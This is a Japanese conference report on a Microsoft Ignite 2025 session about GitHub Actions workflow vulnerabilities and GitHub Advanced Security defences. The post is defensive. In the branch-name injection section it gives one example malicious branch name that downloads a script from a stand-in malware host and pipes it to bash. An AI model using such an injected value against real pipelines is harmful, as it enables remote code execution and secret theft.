GitHub Actionsワークフローに潜む脆弱性とその対策 | Microsoft Ignite 2025参加レポート
GitHub Actionsは開発現場に広く浸透し、CI/CDの自動化に不可欠な存在となっていますが、そのワークフローには見過ごされがちな脆弱性が潜んでいます。本記事では、Microsoft Ignite 2025 のセッションから、GitHub Actionsワークフローの脆弱性とその対策についての解説をまとめました。
はじめに:開発環境のシークレットは本当に安全か?
今回のMicrosoft Igniteでは、「How to secure your CI/CD process against attackers with GitHub」というセッションに参加しました。開発者にとって身近なGitHub Actionsやコードベースがいかに攻撃の標的となりやすいか、そしてそれをどう防ぐかについて、具体的な事例とGitHubのツール群を用いた対策が紹介されました。
多くの組織で「これは開発用トークン、開発用シークレットだから最悪漏洩しても問題ない」「ファイアウォールの内側だから安全だ」といった認識があるかもしれませんが、攻撃者はこの「安全である」という仮定をターゲットにしています。開発ネットワークにアクセスできると、それが組織内の他のネットワークにもつながる可能性があり、コードがシークレットを持っている場合、非常に容易な攻撃経路となってしまうのです。
実際、10組織中8組織以上が、開発アクセス権を持つリポジトリ内のコードベースにシークレットを保持し、さらに、企業の90%が、4年以上前または10バージョン以上前のパッケージを使用しているアプリケーションに依存しているとのことでした。
コード内のシークレットと脆弱なパッケージの組み合わせは、攻撃者にとって格好の標的となります。
実例から学ぶ:GitHub Actionsワークフローに潜む脆弱性
セッションでは、非常に一般的なGitHub Actionsワークフローを例に取り、潜在的な脆弱性が詳しく分析されました。開発者がコードレビューで全てを見つけ出すのは困難であるため、これらの例を知ることが重要です。
1. トークンとパーミッションの過剰付与
- シークレットの利用範囲の拡大
特定のシークレット(例:secrets.NPM_AUTH_TOKEN)をワークフロー全体、全てのジョブ、全てのステップにアクセス可能にしてしまうと、悪意のあるアクションが導入された場合にトークンが公開・悪用されるリスクがあります。より安全な方法は、シークレットを使用が必要なステップでのみ環境変数として定義して利用することです。
- デフォルトパーミッションの危険性
2023年末から2024年初頭にかけて、GitHubではジョブごとにパーミッションを定義することが必須になりました。しかし、古い組織や設定では、デフォルトで書き込み(write)パーミッションが付与されている可能性があります。ビルドを実行するだけであれば、リポジトリをフォローするためのcontents:readアクセス権のみが必要です。不必要なcontents:writeやpull-requests: write権限を与えるべきではありません。
2. 依存関係の処理とスクリプト実行の危険性
- 安全でない依存関係のインストール
ノードをインストールする際、GitHub提供の専用アクション(例:setup-node)を使わず、スクリプトをダウンロードして実行する場合、ハッシュ検証なしで行うのは安全ではありません。
- npm installの使用
npm installはコード内のファイルを変更し、package-lock.jsonを再生成する可能性があるため、レビューが見落とされることがあります。代わりにnpm ciを使用すべきです。
- ポストスクリプトの無視
攻撃者は悪意のあるポストスクリプトをコードに埋め込むことが可能です。そのため、npm ciを実行する際には、--ignore-scriptsオプションを併用し、プリ・ポストのNPMスクリプトの実行を無効にすることが推奨されます。
3. ブランチ名を通じたインジェクション攻撃
- ユーザー入力の不適切な処理
開発者がブランチ名のようなユーザーデータをそのままechoなどで出力している場合、インジェクション攻撃の対象となります。
- スクリプトの埋め込み
攻撃者はブランチ名に、例えばcurlコマンドを含むスクリプトを埋め込むことができ、ワークフローがこれを実行してしまう可能性があります。これは、SQLインジェクション脆弱性と同様に、ユーザー入力を処理する際の基本的なセキュリティリスクです。
(悪意のあるブランチ名の例:$({curl,-Ssl,evil-malware-dl[.]com/run.sh}${IFS}|${IFS}bash))
対策の柱:GitHub Advanced Securityの活用
これらの脆弱性を開発者が常に手動で検出するのは非常に困難です。ここでツールの出番となります。GitHubでは、CI/CDプロセスを保護するための3つの主要なセキュリティコンポーネントが提供されています。
1. Code Scanning (コードスキャン)
Code Scanningは、コード内の脆弱性を特定します。
- CodeQLの利用
リポジトリ設定の「Advanced Security」から有効にできます。デフォルト設定の他、Advanced setupでは、追加のクエリを渡したり、CodeQLがスキャンしない言語(TerraformやPysetなど)のために他のスキャンツールを使用し、業界標準形式であるSARIFファイルで結果をアップロードし、セキュリティタブで一元管理することも可能です。
- 開発者への教育
ツールは脆弱性の内容や、それを次に防ぐためにどうすべきかといった情報を提供し、開発者の教育を助けます。
- Copilot Auto Fix
Code Scanningの結果として検出された脆弱性に対し、Copilot Auto Fix 機能を使用すると、約30秒で修正案を生成し、ブランチとプルリクエスト(PR)を自動で作成してくれます。PRがテストに合格しメインブランチにマージされると、アラートは自動的に閉じられます。
2. Dependabot (依存関係の自動更新と脆弱性管理)
依存関係の脆弱性への対応は、コミュニティが手動で行うのは事実上不可能です。Dependabotを導入することにより依存関係を最新の状態に保つ手間を削減することができます。
- すべてのリポジトリで利用可能
Dependabotは、GitHubのすべてのリポジトリでライセンスなしで利用可能です。
- 自動PR作成
「Dependabot security updates」を有効にすると、脆弱性が発見された場合、それを修正する最新バージョンへの更新を含むプルリクエスト(PR)が自動的に作成されます。
- リスク評価
脆弱性の深刻度スコア(CVSSスコア)に加え、EPSS (Exploit Prediction Scoring System) スコアも提供されます。EPSSは、その脆弱性が今後30日以内に実際に悪用される可能性をパーセンテージで示します(例:95パーセンタイルで18%)。
- 開発者体験
Dependabotが作成したPRは、通常のPRと同様にビルドテストが実行されます。テストが失敗した場合でも、開発者はコメントセクションで特定のコマンドを使ってリベースをトリガーするなど、簡単にロボットと連携できます。
3. Secret Scanning (シークレットスキャンとプッシュ保護)
パブリックリポジトリでは2024年に3900万以上のシークレットが露出したことが確認されています。Secret Scanningを有効化することでシークレットの露出を防止することができます。
- Validity Checks (有効性チェック)
GitHubはAzureなどのパートナーと連携し、発見されたシークレットが有効なトークンかどうかを確認できます。
- Push Protection (プッシュ保護)
最も推奨される設定はPush Protectionです。これは、シークレットがリポジトリにプッシュされるのを未然にブロックする機能です。シークレットがプッシュされてしまうと、それを失効させ、ローテーションする必要があるため非常にコストがかかりますが、プッシュを阻止すればその手間を最小限に抑えられます。
- 手動での失効
Code ScanningやDependabotと異なり、Secret Scanningのアラートを閉じる際は、必ずトークンを物理的に失効させる(revoke) 必要があるため、手動で処理を行う必要があります。
現地参加者としての所感:セキュリティは「最後の工程」ではなく「日常」になった
このセッションで発表者が強調していたのは、セキュリティ対策は開発プロセスそのものに深く統合されるべきだという点です。
歴史的に、クラウドサイバーセキュリティはプロセスの「最後」に行われてきましたが、攻撃者が昼夜を問わずエクスプロイトを探し、実行している今、すべてのエクスプロイトを知ることは個人には不可能です。
GitHub Advanced Securityが提供するツール群(Code Scanning、Dependabot、Secret Scanning)の進化は目覚ましく、特にCopilot Auto Fixは、開発者が脆弱性を検出するだけでなく、実際に修正するまでの工数を劇的に削減します。プルリクエストが作成された際に、SQLインジェクションなどの脆弱性が導入された場合、PRをブロックすることで、プロダクションにデプロイされる前に開発者が修正をプッシュできるように促すというアプローチは非常に実践的です。
セキュリティを開発者が作業しているのと同じ場所で機能させ、コードベースに脆弱性が入り込む前にそれを防ぐ というGitHubの姿勢が明確に示されており、開発者一人ひとりが、自社の従業員、そして顧客のために積極的にセキュリティに取り組む責任がある ことを再認識させられる、非常に有益なセッションでした。







